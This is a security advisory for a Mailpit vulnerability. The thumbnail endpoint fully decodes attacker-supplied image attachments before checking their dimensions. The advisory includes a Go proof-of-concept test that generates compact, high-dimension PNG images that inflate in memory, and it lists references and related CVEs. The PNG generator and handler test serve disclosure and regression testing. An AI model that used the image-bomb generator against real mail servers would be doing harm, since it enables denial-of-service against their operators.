Summary
Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling
Advisory details
Summary
Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request /api/v1/message/{id}/part/{partID}/thumb to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.
Technical Details
The route is registered as GET /api/v1/message/{id}/part/{partID}/thumb in server/server.go. The handler in server/apiv1/thumbnails.go loads the requested attachment and accepts any part whose content type begins with image/:
a, err := storage.GetAttachmentPart(id, partID)
// ...
if !strings.HasPrefix(a.ContentType, "image/") {
blankImage(a, w)
return
}
buf := bytes.NewBuffer(a.Content)
img, err := imaging.Decode(buf, imaging.AutoOrientation(true))
storage.GetAttachmentPart() reparses the stored raw email and returns the matching attacker-supplied attachment bytes. Thumbnail() then calls imaging.Decode() before any check on declared dimensions or estimated decoded bytes. The subsequent imaging.Fill(img, 180, 120, ...), imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.
The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.
The UI also naturally reaches this endpoint for image attachments. server/ui-src/components/message/MessageAttachments.vue uses /api/v1/message/{message.ID}/part/{part.PartID}/thumb as the <img src> for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.
PoV
The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual PartID, and call Thumbnail().
The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.
package apiv1
import (
"bytes"
"compress/zlib"
"encoding/base64"
"encoding/binary"
"fmt"
"hash/crc32"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"testing"
"github.com/axllent/mailpit/config"
"github.com/axllent/mailpit/internal/logger"
"github.com/axllent/mailpit/internal/storage"
"github.com/kovidgoyal/imaging"
)
func pngChunk(kind string, data []byte) []byte {
var out bytes.Buffer
_ = binary.Write(&out, binary.BigEndian, uint32(len(data)))
out.WriteString(kind)
out.Write(data)
crc := crc32.NewIEEE()
crc.Write([]byte(kind))
crc.Write(data)
_ = binary.Write(&out, binary.BigEndian, crc.Sum32())
return out.Bytes()
}
func solidRGBApng(width, height int) []byte {
var out bytes.Buffer
out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
ihdr[8] = 8
ihdr[9] = 6
out.Write(pngChunk("IHDR", ihdr))
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
row := make([]byte, 1+width*4)
for i := 0; i < height; i++ {
_, _ = zw.Write(row)
}
_ = zw.Close()
out.Write(pngChunk("IDAT", compressed.Bytes()))
out.Write(pngChunk("IEND", nil))
return out.Bytes()
}
func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))
if err != nil {
t.Fatalf("decode failed: %v", err)
}
thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)
if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {
t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds())
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))
})
}
}
func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {
logger.NoLogging = true
config.Database = filepath.Join(t.TempDir(), "mailpit.db")
config.Compression = 0
config.TenantID = ""
config.MaxMessages = 0
if err := storage.InitDB(); err != nil {
t.Fatalf("InitDB failed: %v", err)
}
defer storage.Close()
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload)))
id, err := storage.Store(&raw, nil)
if err != nil {
t.Fatalf("Store failed: %v", err)
}
msg, err := storage.GetMessage(id)
if err != nil {
t.Fatalf("GetMessage failed: %v", err)
}
if len(msg.Attachments) != 1 {
t.Fatalf("attachments=%d, want 1", len(msg.Attachments))
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil)
req.SetPathValue("id", id)
req.SetPathValue("partID", msg.Attachments[0].PartID)
rr := httptest.NewRecorder()
Thumbnail(rr, req)
if rr.Code != http.StatusOK {
t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String())
}
if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" {
t.Fatalf("Content-Type=%q, want image/jpeg", ct)
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())
})
}
}
func wrapBase64(b []byte) string {
encoded := base64.StdEncoding.EncodeToString(b)
var lines []string
for len(encoded) > 76 {
lines = append(lines,
References
- https://github.com/advisories/GHSA-75mr-qw9x-3r39
- https://github.com/axllent/mailpit/security/advisories/GHSA-75mr-qw9x-3r39
- https://nvd.nist.gov/vuln/detail/CVE-2026-67446
- https://github.com/axllent/mailpit/commit/6bcb6337838b542d53c348e38c7977f569b6db35
- https://github.com/axllent/mailpit/releases/tag/v1.30.4
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-71486
vLLM: Derender endpoints decode caller-supplied GenerateResponse token IDs without output bounds
- MEDIUMCVE-2026-73228
Django REST framework: Potential bypass of Django `DATA_UPLOAD_MAX_MEMORY_SIZE` when parsing oversized JSON and urlencoded request bodies via DRF `request.data`
- MEDIUMCVE-2026-55407
Buffa Vulnerable to Memory Exhaustion Denial of Service in decode_unknown_field via Unbounded Allocation
- MEDIUMCVE-2026-55531
PraisonAI MCP HTTP server has unauthenticated unbounded session accumulation (memory exhaustion; session TTL never enforced)
- HIGHCVE-2026-61827
netty-incubator-codec-ohttp: BinaryHttpParser should enforce limits for variable lengths fields
- HIGHCVE-2026-53965
MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter